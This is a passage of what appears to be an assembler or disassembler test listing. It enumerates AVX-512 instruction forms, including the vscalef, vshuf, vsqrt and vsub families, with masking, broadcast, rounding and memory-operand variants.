vscalefpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vscalefps xmm2, xmm7, xmm0
vscalefps xmm2, xmm7, [rbx]
vscalefps xmm2, xmm7, [rbx]{1to4}
vscalefps xmm2, xmm7, [rbx+r11*8+256]
vscalefps xmm2, xmm7, [rbx+r11*8-256]
vscalefps xmm2{k5}, xmm7, xmm0
vscalefps xmm2{k5}, xmm7, [rbx]
vscalefps xmm2{k5}, xmm7, [rbx]{1to4}
vscalefps xmm2{k5}, xmm7, [rbx+r11*8+256]
vscalefps xmm2{k5}, xmm7, [rbx+r11*8-256]
vscalefps xmm2{k5}{z}, xmm7, xmm0
vscalefps xmm2{k5}{z}, xmm7, [rbx]
vscalefps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vscalefps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vscalefps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vscalefps ymm16, ymm13, ymm15
vscalefps ymm16, ymm13, [rbx]
vscalefps ymm16, ymm13, [rbx]{1to8}
vscalefps ymm16, ymm13, [rbx+r11*8+256]
vscalefps ymm16, ymm13, [rbx+r11*8-256]
vscalefps ymm16{k5}, ymm13, ymm15
vscalefps ymm16{k5}, ymm13, [rbx]
vscalefps ymm16{k5}, ymm13, [rbx]{1to8}
vscalefps ymm16{k5}, ymm13, [rbx+r11*8+256]
vscalefps ymm16{k5}, ymm13, [rbx+r11*8-256]
vscalefps ymm16{k5}{z}, ymm13, ymm15
vscalefps ymm16{k5}{z}, ymm13, [rbx]
vscalefps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vscalefps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vscalefps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vscalefps zmm24, zmm24, zmm31
vscalefps zmm24, zmm24, zmm31, {rd-sae}
vscalefps zmm24, zmm24, [rbx]
vscalefps zmm24, zmm24, [rbx]{1to16}
vscalefps zmm24, zmm24, [rbx+r11*8+256]
vscalefps zmm24, zmm24, [rbx+r11*8-256]
vscalefps zmm24{k5}, zmm24, zmm31
vscalefps zmm24{k5}, zmm24, zmm31, {rd-sae}
vscalefps zmm24{k5}, zmm24, [rbx]
vscalefps zmm24{k5}, zmm24, [rbx]{1to16}
vscalefps zmm24{k5}, zmm24, [rbx+r11*8+256]
vscalefps zmm24{k5}, zmm24, [rbx+r11*8-256]
vscalefps zmm24{k5}{z}, zmm24, zmm31
vscalefps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vscalefps zmm24{k5}{z}, zmm24, [rbx]
vscalefps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vscalefps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vscalefps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vscalefsd xmm2, xmm7, xmm0
vscalefsd xmm2, xmm7, xmm0, {rd-sae}
vscalefsd xmm2, xmm7, [rbx]
vscalefsd xmm2, xmm7, [rbx+r11*8+256]
vscalefsd xmm2, xmm7, [rbx+r11*8-256]
vscalefsd xmm2{k5}, xmm7, xmm0
vscalefsd xmm2{k5}, xmm7, xmm0, {rd-sae}
vscalefsd xmm2{k5}, xmm7, [rbx]
vscalefsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vscalefsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vscalefsd xmm2{k5}{z}, xmm7, xmm0
vscalefsd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vscalefsd xmm2{k5}{z}, xmm7, [rbx]
vscalefsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vscalefsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vscalefss xmm2, xmm7, xmm0
vscalefss xmm2, xmm7, xmm0, {rd-sae}
vscalefss xmm2, xmm7, [rbx]
vscalefss xmm2, xmm7, [rbx+r11*8+256]
vscalefss xmm2, xmm7, [rbx+r11*8-256]
vscalefss xmm2{k5}, xmm7, xmm0
vscalefss xmm2{k5}, xmm7, xmm0, {rd-sae}
vscalefss xmm2{k5}, xmm7, [rbx]
vscalefss xmm2{k5}, xmm7, [rbx+r11*8+256]
vscalefss xmm2{k5}, xmm7, [rbx+r11*8-256]
vscalefss xmm2{k5}{z}, xmm7, xmm0
vscalefss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vscalefss xmm2{k5}{z}, xmm7, [rbx]
vscalefss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vscalefss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vshuff32x4 ymm16, ymm13, ymm15, 10
vshuff32x4 ymm16, ymm13, [rbx], 10
vshuff32x4 ymm16, ymm13, [rbx]{1to8}, 10
vshuff32x4 ymm16, ymm13, [rbx+r11*8+256], 10
vshuff32x4 ymm16, ymm13, [rbx+r11*8-256], 10
vshuff32x4 ymm16{k5}, ymm13, ymm15, 10
vshuff32x4 ymm16{k5}, ymm13, [rbx], 10
vshuff32x4 ymm16{k5}, ymm13, [rbx]{1to8}, 10
vshuff32x4 ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vshuff32x4 ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vshuff32x4 ymm16{k5}{z}, ymm13, ymm15, 10
vshuff32x4 ymm16{k5}{z}, ymm13, [rbx], 10
vshuff32x4 ymm16{k5}{z}, ymm13, [rbx]{1to8}, 10
vshuff32x4 ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vshuff32x4 ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vshuff32x4 zmm24, zmm24, zmm31, 10
vshuff32x4 zmm24, zmm24, [rbx], 10
vshuff32x4 zmm24, zmm24, [rbx]{1to16}, 10
vshuff32x4 zmm24, zmm24, [rbx+r11*8+256], 10
vshuff32x4 zmm24, zmm24, [rbx+r11*8-256], 10
vshuff32x4 zmm24{k5}, zmm24, zmm31, 10
vshuff32x4 zmm24{k5}, zmm24, [rbx], 10
vshuff32x4 zmm24{k5}, zmm24, [rbx]{1to16}, 10
vshuff32x4 zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vshuff32x4 zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vshuff32x4 zmm24{k5}{z}, zmm24, zmm31, 10
vshuff32x4 zmm24{k5}{z}, zmm24, [rbx], 10
vshuff32x4 zmm24{k5}{z}, zmm24, [rbx]{1to16}, 10
vshuff32x4 zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vshuff32x4 zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vshuff64x2 ymm16, ymm13, ymm15, 10
vshuff64x2 ymm16, ymm13, [rbx], 10
vshuff64x2 ymm16, ymm13, [rbx]{1to4}, 10
vshuff64x2 ymm16, ymm13, [rbx+r11*8+256], 10
vshuff64x2 ymm16, ymm13, [rbx+r11*8-256], 10
vshuff64x2 ymm16{k5}, ymm13, ymm15, 10
vshuff64x2 ymm16{k5}, ymm13, [rbx], 10
vshuff64x2 ymm16{k5}, ymm13, [rbx]{1to4}, 10
vshuff64x2 ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vshuff64x2 ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vshuff64x2 ymm16{k5}{z}, ymm13, ymm15, 10
vshuff64x2 ymm16{k5}{z}, ymm13, [rbx], 10
vshuff64x2 ymm16{k5}{z}, ymm13, [rbx]{1to4}, 10
vshuff64x2 ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vshuff64x2 ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vshuff64x2 zmm24, zmm24, zmm31, 10
vshuff64x2 zmm24, zmm24, [rbx], 10
vshuff64x2 zmm24, zmm24, [rbx]{1to8}, 10
vshuff64x2 zmm24, zmm24, [rbx+r11*8+256], 10
vshuff64x2 zmm24, zmm24, [rbx+r11*8-256], 10
vshuff64x2 zmm24{k5}, zmm24, zmm31, 10
vshuff64x2 zmm24{k5}, zmm24, [rbx], 10
vshuff64x2 zmm24{k5}, zmm24, [rbx]{1to8}, 10
vshuff64x2 zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vshuff64x2 zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vshuff64x2 zmm24{k5}{z}, zmm24, zmm31, 10
vshuff64x2 zmm24{k5}{z}, zmm24, [rbx], 10
vshuff64x2 zmm24{k5}{z}, zmm24, [rbx]{1to8}, 10
vshuff64x2 zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vshuff64x2 zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vshufi32x4 ymm16, ymm13, ymm15, 10
vshufi32x4 ymm16, ymm13, [rbx], 10
vshufi32x4 ymm16, ymm13, [rbx]{1to8}, 10
vshufi32x4 ymm16, ymm13, [rbx+r11*8+256], 10
vshufi32x4 ymm16, ymm13, [rbx+r11*8-256], 10
vshufi32x4 ymm16{k5}, ymm13, ymm15, 10
vshufi32x4 ymm16{k5}, ymm13, [rbx], 10
vshufi32x4 ymm16{k5}, ymm13, [rbx]{1to8}, 10
vshufi32x4 ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vshufi32x4 ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vshufi32x4 ymm16{k5}{z}, ymm13, ymm15, 10
vshufi32x4 ymm16{k5}{z}, ymm13, [rbx], 10
vshufi32x4 ymm16{k5}{z}, ymm13, [rbx]{1to8}, 10
vshufi32x4 ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vshufi32x4 ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vshufi32x4 zmm24, zmm24, zmm31, 10
vshufi32x4 zmm24, zmm24, [rbx], 10
vshufi32x4 zmm24, zmm24, [rbx]{1to16}, 10
vshufi32x4 zmm24, zmm24, [rbx+r11*8+256], 10
vshufi32x4 zmm24, zmm24, [rbx+r11*8-256], 10
vshufi32x4 zmm24{k5}, zmm24, zmm31, 10
vshufi32x4 zmm24{k5}, zmm24, [rbx], 10
vshufi32x4 zmm24{k5}, zmm24, [rbx]{1to16}, 10
vshufi32x4 zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vshufi32x4 zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vshufi32x4 zmm24{k5}{z}, zmm24, zmm31, 10
vshufi32x4 zmm24{k5}{z}, zmm24, [rbx], 10
vshufi32x4 zmm24{k5}{z}, zmm24, [rbx]{1to16}, 10
vshufi32x4 zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vshufi32x4 zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vshufi64x2 ymm16, ymm13, ymm15, 10
vshufi64x2 ymm16, ymm13, [rbx], 10
vshufi64x2 ymm16, ymm13, [rbx]{1to4}, 10
vshufi64x2 ymm16, ymm13, [rbx+r11*8+256], 10
vshufi64x2 ymm16, ymm13, [rbx+r11*8-256], 10
vshufi64x2 ymm16{k5}, ymm13, ymm15, 10
vshufi64x2 ymm16{k5}, ymm13, [rbx], 10
vshufi64x2 ymm16{k5}, ymm13, [rbx]{1to4}, 10
vshufi64x2 ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vshufi64x2 ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vshufi64x2 ymm16{k5}{z}, ymm13, ymm15, 10
vshufi64x2 ymm16{k5}{z}, ymm13, [rbx], 10
vshufi64x2 ymm16{k5}{z}, ymm13, [rbx]{1to4}, 10
vshufi64x2 ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vshufi64x2 ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vshufi64x2 zmm24, zmm24, zmm31, 10
vshufi64x2 zmm24, zmm24, [rbx], 10
vshufi64x2 zmm24, zmm24, [rbx]{1to8}, 10
vshufi64x2 zmm24, zmm24, [rbx+r11*8+256], 10
vshufi64x2 zmm24, zmm24, [rbx+r11*8-256], 10
vshufi64x2 zmm24{k5}, zmm24, zmm31, 10
vshufi64x2 zmm24{k5}, zmm24, [rbx], 10
vshufi64x2 zmm24{k5}, zmm24, [rbx]{1to8}, 10
vshufi64x2 zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vshufi64x2 zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vshufi64x2 zmm24{k5}{z}, zmm24, zmm31, 10
vshufi64x2 zmm24{k5}{z}, zmm24, [rbx], 10
vshufi64x2 zmm24{k5}{z}, zmm24, [rbx]{1to8}, 10
vshufi64x2 zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vshufi64x2 zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vshufpd xmm2, xmm7, xmm0, 10
vshufpd xmm2, xmm7, [rbx], 10
vshufpd xmm2, xmm7, [rbx]{1to2}, 10
vshufpd xmm2, xmm7, [rbx+r11*8+256], 10
vshufpd xmm2, xmm7, [rbx+r11*8-256], 10
vshufpd xmm2{k5}, xmm7, xmm0, 10
vshufpd xmm2{k5}, xmm7, [rbx], 10
vshufpd xmm2{k5}, xmm7, [rbx]{1to2}, 10
vshufpd xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vshufpd xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vshufpd xmm2{k5}{z}, xmm7, xmm0, 10
vshufpd xmm2{k5}{z}, xmm7, [rbx], 10
vshufpd xmm2{k5}{z}, xmm7, [rbx]{1to2}, 10
vshufpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vshufpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vshufpd ymm16, ymm13, ymm15, 10
vshufpd ymm16, ymm13, [rbx], 10
vshufpd ymm16, ymm13, [rbx]{1to4}, 10
vshufpd ymm16, ymm13, [rbx+r11*8+256], 10
vshufpd ymm16, ymm13, [rbx+r11*8-256], 10
vshufpd ymm16{k5}, ymm13, ymm15, 10
vshufpd ymm16{k5}, ymm13, [rbx], 10
vshufpd ymm16{k5}, ymm13, [rbx]{1to4}, 10
vshufpd ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vshufpd ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vshufpd ymm16{k5}{z}, ymm13, ymm15, 10
vshufpd ymm16{k5}{z}, ymm13, [rbx], 10
vshufpd ymm16{k5}{z}, ymm13, [rbx]{1to4}, 10
vshufpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vshufpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vshufpd zmm24, zmm24, zmm31, 10
vshufpd zmm24, zmm24, [rbx], 10
vshufpd zmm24, zmm24, [rbx]{1to8}, 10
vshufpd zmm24, zmm24, [rbx+r11*8+256], 10
vshufpd zmm24, zmm24, [rbx+r11*8-256], 10
vshufpd zmm24{k5}, zmm24, zmm31, 10
vshufpd zmm24{k5}, zmm24, [rbx], 10
vshufpd zmm24{k5}, zmm24, [rbx]{1to8}, 10
vshufpd zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vshufpd zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vshufpd zmm24{k5}{z}, zmm24, zmm31, 10
vshufpd zmm24{k5}{z}, zmm24, [rbx], 10
vshufpd zmm24{k5}{z}, zmm24, [rbx]{1to8}, 10
vshufpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vshufpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vshufps xmm2, xmm7, xmm0, 10
vshufps xmm2, xmm7, [rbx], 10
vshufps xmm2, xmm7, [rbx]{1to4}, 10
vshufps xmm2, xmm7, [rbx+r11*8+256], 10
vshufps xmm2, xmm7, [rbx+r11*8-256], 10
vshufps xmm2{k5}, xmm7, xmm0, 10
vshufps xmm2{k5}, xmm7, [rbx], 10
vshufps xmm2{k5}, xmm7, [rbx]{1to4}, 10
vshufps xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vshufps xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vshufps xmm2{k5}{z}, xmm7, xmm0, 10
vshufps xmm2{k5}{z}, xmm7, [rbx], 10
vshufps xmm2{k5}{z}, xmm7, [rbx]{1to4}, 10
vshufps xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vshufps xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vshufps ymm16, ymm13, ymm15, 10
vshufps ymm16, ymm13, [rbx], 10
vshufps ymm16, ymm13, [rbx]{1to8}, 10
vshufps ymm16, ymm13, [rbx+r11*8+256], 10
vshufps ymm16, ymm13, [rbx+r11*8-256], 10
vshufps ymm16{k5}, ymm13, ymm15, 10
vshufps ymm16{k5}, ymm13, [rbx], 10
vshufps ymm16{k5}, ymm13, [rbx]{1to8}, 10
vshufps ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vshufps ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vshufps ymm16{k5}{z}, ymm13, ymm15, 10
vshufps ymm16{k5}{z}, ymm13, [rbx], 10
vshufps ymm16{k5}{z}, ymm13, [rbx]{1to8}, 10
vshufps ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vshufps ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vshufps zmm24, zmm24, zmm31, 10
vshufps zmm24, zmm24, [rbx], 10
vshufps zmm24, zmm24, [rbx]{1to16}, 10
vshufps zmm24, zmm24, [rbx+r11*8+256], 10
vshufps zmm24, zmm24, [rbx+r11*8-256], 10
vshufps zmm24{k5}, zmm24, zmm31, 10
vshufps zmm24{k5}, zmm24, [rbx], 10
vshufps zmm24{k5}, zmm24, [rbx]{1to16}, 10
vshufps zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vshufps zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vshufps zmm24{k5}{z}, zmm24, zmm31, 10
vshufps zmm24{k5}{z}, zmm24, [rbx], 10
vshufps zmm24{k5}{z}, zmm24, [rbx]{1to16}, 10
vshufps zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vshufps zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vsqrtpd xmm2, xmm0
vsqrtpd xmm2, [rbx]
vsqrtpd xmm2, [rbx]{1to2}
vsqrtpd xmm2, [rbx+r11*8+256]
vsqrtpd xmm2, [rbx+r11*8-256]
vsqrtpd xmm2{k5}, xmm0
vsqrtpd xmm2{k5}, [rbx]
vsqrtpd xmm2{k5}, [rbx]{1to2}
vsqrtpd xmm2{k5}, [rbx+r11*8+256]
vsqrtpd xmm2{k5}, [rbx+r11*8-256]
vsqrtpd xmm2{k5}{z}, xmm0
vsqrtpd xmm2{k5}{z}, [rbx]
vsqrtpd xmm2{k5}{z}, [rbx]{1to2}
vsqrtpd xmm2{k5}{z}, [rbx+r11*8+256]
vsqrtpd xmm2{k5}{z}, [rbx+r11*8-256]
vsqrtpd ymm16, ymm15
vsqrtpd ymm16, [rbx]
vsqrtpd ymm16, [rbx]{1to4}
vsqrtpd ymm16, [rbx+r11*8+256]
vsqrtpd ymm16, [rbx+r11*8-256]
vsqrtpd ymm16{k5}, ymm15
vsqrtpd ymm16{k5}, [rbx]
vsqrtpd ymm16{k5}, [rbx]{1to4}
vsqrtpd ymm16{k5}, [rbx+r11*8+256]
vsqrtpd ymm16{k5}, [rbx+r11*8-256]
vsqrtpd ymm16{k5}{z}, ymm15
vsqrtpd ymm16{k5}{z}, [rbx]
vsqrtpd ymm16{k5}{z}, [rbx]{1to4}
vsqrtpd ymm16{k5}{z}, [rbx+r11*8+256]
vsqrtpd ymm16{k5}{z}, [rbx+r11*8-256]
vsqrtpd zmm24, zmm31
vsqrtpd zmm24, zmm31, {rd-sae}
vsqrtpd zmm24, [rbx]
vsqrtpd zmm24, [rbx]{1to8}
vsqrtpd zmm24, [rbx+r11*8+256]
vsqrtpd zmm24, [rbx+r11*8-256]
vsqrtpd zmm24{k5}, zmm31
vsqrtpd zmm24{k5}, zmm31, {rd-sae}
vsqrtpd zmm24{k5}, [rbx]
vsqrtpd zmm24{k5}, [rbx]{1to8}
vsqrtpd zmm24{k5}, [rbx+r11*8+256]
vsqrtpd zmm24{k5}, [rbx+r11*8-256]
vsqrtpd zmm24{k5}{z}, zmm31
vsqrtpd zmm24{k5}{z}, zmm31, {rd-sae}
vsqrtpd zmm24{k5}{z}, [rbx]
vsqrtpd zmm24{k5}{z}, [rbx]{1to8}
vsqrtpd zmm24{k5}{z}, [rbx+r11*8+256]
vsqrtpd zmm24{k5}{z}, [rbx+r11*8-256]
vsqrtps xmm2, xmm0
vsqrtps xmm2, [rbx]
vsqrtps xmm2, [rbx]{1to4}
vsqrtps xmm2, [rbx+r11*8+256]
vsqrtps xmm2, [rbx+r11*8-256]
vsqrtps xmm2{k5}, xmm0
vsqrtps xmm2{k5}, [rbx]
vsqrtps xmm2{k5}, [rbx]{1to4}
vsqrtps xmm2{k5}, [rbx+r11*8+256]
vsqrtps xmm2{k5}, [rbx+r11*8-256]
vsqrtps xmm2{k5}{z}, xmm0
vsqrtps xmm2{k5}{z}, [rbx]
vsqrtps xmm2{k5}{z}, [rbx]{1to4}
vsqrtps xmm2{k5}{z}, [rbx+r11*8+256]
vsqrtps xmm2{k5}{z}, [rbx+r11*8-256]
vsqrtps ymm16, ymm15
vsqrtps ymm16, [rbx]
vsqrtps ymm16, [rbx]{1to8}
vsqrtps ymm16, [rbx+r11*8+256]
vsqrtps ymm16, [rbx+r11*8-256]
vsqrtps ymm16{k5}, ymm15
vsqrtps ymm16{k5}, [rbx]
vsqrtps ymm16{k5}, [rbx]{1to8}
vsqrtps ymm16{k5}, [rbx+r11*8+256]
vsqrtps ymm16{k5}, [rbx+r11*8-256]
vsqrtps ymm16{k5}{z}, ymm15
vsqrtps ymm16{k5}{z}, [rbx]
vsqrtps ymm16{k5}{z}, [rbx]{1to8}
vsqrtps ymm16{k5}{z}, [rbx+r11*8+256]
vsqrtps ymm16{k5}{z}, [rbx+r11*8-256]
vsqrtps zmm24, zmm31
vsqrtps zmm24, zmm31, {rd-sae}
vsqrtps zmm24, [rbx]
vsqrtps zmm24, [rbx]{1to16}
vsqrtps zmm24, [rbx+r11*8+256]
vsqrtps zmm24, [rbx+r11*8-256]
vsqrtps zmm24{k5}, zmm31
vsqrtps zmm24{k5}, zmm31, {rd-sae}
vsqrtps zmm24{k5}, [rbx]
vsqrtps zmm24{k5}, [rbx]{1to16}
vsqrtps zmm24{k5}, [rbx+r11*8+256]
vsqrtps zmm24{k5}, [rbx+r11*8-256]
vsqrtps zmm24{k5}{z}, zmm31
vsqrtps zmm24{k5}{z}, zmm31, {rd-sae}
vsqrtps zmm24{k5}{z}, [rbx]
vsqrtps zmm24{k5}{z}, [rbx]{1to16}
vsqrtps zmm24{k5}{z}, [rbx+r11*8+256]
vsqrtps zmm24{k5}{z}, [rbx+r11*8-256]
vsqrtsd xmm2, xmm7, xmm0
vsqrtsd xmm2, xmm7, xmm0, {rd-sae}
vsqrtsd xmm2, xmm7, [rbx]
vsqrtsd xmm2, xmm7, [rbx+r11*8+256]
vsqrtsd xmm2, xmm7, [rbx+r11*8-256]
vsqrtsd xmm2{k5}, xmm7, xmm0
vsqrtsd xmm2{k5}, xmm7, xmm0, {rd-sae}
vsqrtsd xmm2{k5}, xmm7, [rbx]
vsqrtsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vsqrtsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vsqrtsd xmm2{k5}{z}, xmm7, xmm0
vsqrtsd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vsqrtsd xmm2{k5}{z}, xmm7, [rbx]
vsqrtsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vsqrtsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vsqrtss xmm2, xmm7, xmm0
vsqrtss xmm2, xmm7, xmm0, {rd-sae}
vsqrtss xmm2, xmm7, [rbx]
vsqrtss xmm2, xmm7, [rbx+r11*8+256]
vsqrtss xmm2, xmm7, [rbx+r11*8-256]
vsqrtss xmm2{k5}, xmm7, xmm0
vsqrtss xmm2{k5}, xmm7, xmm0, {rd-sae}
vsqrtss xmm2{k5}, xmm7, [rbx]
vsqrtss xmm2{k5}, xmm7, [rbx+r11*8+256]
vsqrtss xmm2{k5}, xmm7, [rbx+r11*8-256]
vsqrtss xmm2{k5}{z}, xmm7, xmm0
vsqrtss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vsqrtss xmm2{k5}{z}, xmm7, [rbx]
vsqrtss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vsqrtss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vsubpd xmm2, xmm7, xmm0
vsubpd xmm2, xmm7, [rbx]
vsubpd xmm2, xmm7, [rbx]{1to2}
vsubpd xmm2, xmm7, [rbx+r11*8+256]
vsubpd xmm2, xmm7, [rbx+r11*8-256]
vsubpd xmm2{k5}, xmm7, xmm0
vsubpd xmm2{k5}, xmm7, [rbx]
vsubpd xmm2{k5}, xmm7, [rbx]{1to2}
vsubpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vsubpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vsubpd xmm2{k5}{z}, xmm7, xmm0
vsubpd xmm2{k5}{z}, xmm7, [rbx]
vsubpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vsubpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vsubpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vsubpd ymm16, ymm13, ymm15
vsubpd ymm16, ymm13, [rbx]
vsubpd ymm16, ymm13, [rbx]{1to4}
vsubpd ymm16, ymm13, [rbx+r11*8+256]
vsubpd ymm16, ymm13, [rbx+r11*8-256]
vsubpd ymm16{k5}, ymm13, ymm15
vsubpd ymm16{k5}, ymm13, [rbx]
vsubpd ymm16{k5}, ymm13, [rbx]{1to4}
vsubpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vsubpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vsubpd ymm16{k5}{z}, ymm13, ymm15
vsubpd ymm16{k5}{z}, ymm13, [rbx]
vsubpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vsubpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vsubpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vsubpd zmm24, zmm24, zmm31
vsubpd zmm24, zmm24, zmm31, {rd-sae}
vsubpd zmm24, zmm24, [rbx]
vsubpd zmm24, zmm24, [rbx]{1to8}
vsubpd zmm24, zmm24, [rbx+r11*8+256]
vsubpd zmm24, zmm24, [rbx+r11*8-256]
vsubpd zmm24{k5}, zmm24, zmm31
vsubpd zmm24{k5}, zmm24, zmm31, {rd-sae}
vsubpd zmm24{k5}, zmm24, [rbx]
vsubpd zmm24{k5}, zmm24, [rbx]{1to8}
vsubpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vsubpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vsubpd zmm24{k5}{z}, zmm24, zmm31
vsubpd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vsubpd zmm24{k5}{z}, zmm24, [rbx]
vsubpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vsubpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vsubpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vsubps xmm2, xmm7, xmm0
vsubps xmm2, xmm7, [rbx]
vsubps xmm2, xmm7, [rbx]{1to4}
vsubps xmm2, xmm7, [rbx+r11*8+256]
vsubps xmm2, xmm7, [rbx+r11*8-256]
vsubps xmm2{k5}, xmm7, xmm0
vsubps xmm2{k5}, xmm7, [rbx]
vsubps xmm2{k5}, xmm7, [rbx]{1to4}
vsubps xmm2{k5}, xmm7, [rbx+r11*8+256]
vsubps xmm2{k5}, xmm7, [rbx+r11*8-256]
vsubps xmm2{k5}{z}, xmm7, xmm0
vsubps xmm2{k5}{z}, xmm7, [rbx]
vsubps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vsubps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vsubps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vsubps ymm16, ymm13, ymm15
vsubps ymm16, ymm13, [rbx]
vsubps ymm16, ymm13, [rbx]{1to8}
vsubps ymm16, ymm13, [rbx+r11*8+256]
vsubps ymm16, ymm13, [rbx+r11*8-256]
vsubps ymm16{k5}, ymm13, ymm15
vsubps ymm16{k5}, ymm13, [rbx]
vsubps ymm16{k5}, ymm13, [rbx]{1to8}
vsubps ymm16{k5}, ymm13, [rbx+r11*8+256]
vsubps ymm16{k5}, ymm13, [rbx+r11*8-256]
vsubps ymm16{k5}{z}, ymm13, ymm15
vsubps ymm16{k5}{z}, ymm13, [rbx]
vsubps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vsubps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vsubps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vsubps zmm24, zmm24, zmm31
vsubps zmm24, zmm24, zmm31, {rd-sae}
vsubps zmm24, zmm24, [rbx]
vsubps zmm24, zmm24, [rbx]{1to16}
vsubps zmm24, zmm24, [rbx+r11*8+256]
vsubps zmm24, zmm24, [rbx+r11*8-256]
vsubps zmm24{k5}, zmm24, zmm31
vsubps zmm24{k5}, zmm24, zmm31, {rd-sae}
vsubps zmm24{k5}, zmm24, [rbx]
vsubps zmm24{k5}, zmm24, [rbx]{1to16}
vsubps zmm24{k5}, zmm24, [rbx+r11*8+256]
vsubps zmm24{k5}, zmm24, [rbx+r11*8-256]
vsubps zmm24{k5}{z}, zmm24, zmm31
vsubps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vsubps zmm24{k5}{z}, zmm24, [rbx]
vsubps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vsubps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
